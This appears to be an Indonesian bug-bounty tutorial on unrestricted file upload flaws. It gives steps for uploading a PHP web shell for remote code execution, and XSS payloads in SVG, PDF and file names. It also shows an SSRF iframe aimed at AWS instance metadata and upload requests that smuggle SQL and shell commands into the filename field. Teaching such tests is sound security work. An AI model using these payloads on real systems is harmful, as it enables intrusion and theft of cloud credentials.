[BUG BOUNTY] Unrestricted File Upload Vulnerability

Avatar photo

Unrestricted File Upload – Karena pada zaman sekarang kerentanan bukan hanya sekedar SQL Injection, XSS, dan lain-lain apalagi kebanyakan orang berfikir bahwa: dengan Firewall saja sudah aman, tentunya harus diperiksa sedetail mungkin salah satunya dengan cara memperhatikan pada fitur File Upload ini.

Pengertian Unrestricted File Upload

Unrestricted File Upload merupakan jenis vulnerability yang terjadi di aplikasi website disaat jenis file yang diunggah oleh user tidak diperiksa, difilter, atau dibersihkan dengan benar oleh sistem. Sebagai seorang penetration tester, saya pribadi termasuk yang paling suka akan menguji jenis kerentanan dari fitur File Upload. Walau hasil akhir untuk mengunggah sebuah backdoor tidak bisa diperoleh, namun dari berbagai case yang saya temui, hampir semua ekstensi file bisa dimanfaatkan untuk melakukan serangan pada fitur ini seperti .svg .gif .pdf dan berbagai macam ekstensi bypass yang lain yang memiliki tingkat resiko berbeda.

Source : File Upload Attacks [blog.yeswehack.com]
Dari sekian banyak resiko yang dapat ditimbulkan karena jenis kerentanan ini, saya tidak akan menjelaskan semuanya secara detail. Saya hanya akan menuliskan berbagai jenis resiko dan eksploitasi yang saya temukan secara langsung dari kegiatan penetration testing dan bug hunting yang saya lakukan selama ini sebagai case nyata dan lebih realistis. Mindmap di bawah ini memberikan gambaran tentang berbagai serangan yang mungkin terjadi saat aplikasi mengimplementasikan fungsi fitur File Upload.

Remote Code Execution

Resiko yang paling sering menjadi target serangan ini yang pertama adalah Remote Code Execution, ada banyak sekali cara untuk mengeksplotasi jenis kerentanan ini, salah satu yang paling umum adalah mengunggah sebuah shell backdoor dengan berbagai ekstensi. Step pada umumnya seperti berikut :

  • Buat shell PHP (bisa menggunakan shell yang saya buat https://github.com/tegal1337/Shelly
  • Upload shell tersebut pada target 
  • navigasikan ke jalur shell, misalnya, https://target.com/files/shell.php untuk melihat apakah itu dapat diakses.
  • Jika shell dapat diakses, coba eksekusi shell misalnya, https://target.com/files/shell.php?cmd=whoami

Note : lakukan berbagai teknik bypass seperti mengubah ekstensi file, tampering, dan yang lainya ketika .php tidak berhasil diunggah. Untuk selengkapnya tentang teknik bypass bisa kalian baca disini How to Bypass File Upload Restrictions on Web Apps to Get a Shell « Null Byte :: WonderHowTo

Cross Site Scripting (XSS)

Saat melakukan pengujian pada fungsionalitas File Upload, ada beberapa cara untuk menjalankan skenario serangan XSS ini. XSS dapat dilakukan dengan mengunggah file berbahaya seperti file SVG, Gif, PDF, bahkan sekedar mengubah nama file menjadi Payload XSS. Untung contoh live nya kalian bisa kunjungi lab : https://labs.tegalsec.org/xss-labs/chall/8.php

XSS via SVG File : Jika aplikasi memungkinkan mengupload file yang berekstensi SVG (yang juga merupakan tipe gambar), file dengan konten berikut dapat digunakan untuk mentriger XSS :

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('Stored XSS By TegalSec\n'+document.domain+'\n'+document.domain);
   </script>
</svg>

XSS via File Name : Mirip seperi SSRF, serangan XSS dapat dilakukan dengan mengunggah file yang bernama “XSS Payload”. Ketika aplikasi akan merender nama file ini, jika ada kekurangan validasi/sanitasi input, payload akan diproses dan XSS akan terjadi.

Ataupun ketika ingin mengunggah sebuah file, capture request tersebut sebelum file berhasil diunggah seperti ini :

Original Request
----------------
POST /upload
Host: target.com
....
other headers
....filename=<script>alert(document.domain)</script>.png&data={file_content}

Baca Juga :

Jika aplikasi rentan dengan serangan ini, maka xss akan ter-eksekusi, sebagai contoh saya lampirkan sebuah video realcase yang saya buat mengenai XSS file upload via nama file ini

XSS via PDF File : Kadang ada beberapa aplikasi yang mengizinkan kita untuk mengunggah file dengan ekstensi PDF seperti fitur KYC, Lamaran Kerja, dan yang lainya. Banyak yang tidak tahu bahwa file PDF bisa kita manfaatkan untuk melakukan serangan XSS ini bahkan ada beberapa case bisa dilakukan SSRF.

/%PDF-1.4
1 0 obj
<<
  /FunctionType 4
  /Domain [(alert(document.domain)) 0]
  /Range [0 0]
  /Length 12
>>

Full payload kalian bisa download disini https://drive.google.com/file/d/1hl-LBAIAZmKVV3YM60JWSEVCA47K3DEZ/view?usp=sharing

Server Side Request Forgery (SSRF)

Pada dasarnya Server-Side Request Forgery (SSRF) adalah sebuah celah dimana Server yang rentan terhadap SSRF dapat dimanfaatkan untuk melakukan Request. Fitur File Upload yang memungkinkan penggunaan file seperti file HTML atau SVG, atau memungkinkan mengunggah file melalui URL dapat menyebabkan serangan SSRF.

AWS Metadata SSRF via HTML File Upload :

Malicious Code
--------------
<body>
    <iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500"></iframe>
</body>

Simpan dan upload file.html yang berisi payload iframe seperti diatas, ketika aplikasi target itu rentan maka metadata AWS itu akan muncul pada iframe.

SSRF Payload : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

Server Side Injection

Dan yang terakhir adalah Server Side Injection. Ada beberapa aplikasi yang memungkinkan untuk menguji serangan Server-Side Injection seperti SQL Injection, Command Injection, atau lainnya menggunakan fitur File Upload.

Seperti XSS via File Name, Saat aplikasi menangani file yang diunggah secara tidak aman, menyimpan, atau memprosesnya di sisi server, nama file yang berisi beberapa muatan dapat dieksekusi dan mengakibatkan kerentanan injeksi sisi server. Untuk memeriksa masalah ini, kalian dapat melihat case berikut :

Original Request
----------------
POST /upload
Host: target.com
....
other headers
....someparam=somecontent&filename=test.png&content={file_content}

Memodifikasi request parameter filename pada $test.png$ menjadi kode SQL Injection dan Command Injection

Modified Request - SQL Injection
----------------
POST /upload
Host: target.com
....
other headers
....someparam=somecontent&filename=sleep(10)-- -.png&content={file_content}

# If the defined sleep (response delay) is observed, the application vulnerable to SQL Injection. ====================================================================
Modified Request - Command Injection
----------------
POST /upload
Host: target.com
....
other headers
....someparam=somecontent&filename=; sleep 10;.png&content={file_content}

# If the defined sleep (response delay) is observed, the application vulnerable to Command Injection.

Tools & Extensions

References :

 

Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post

OSINT Tutorial Maltego -Open Source Intelligence Free Handbook

Next Post

[BUG BOUNTY] get max impact, IDOR Leads to Account Takeover

Related Posts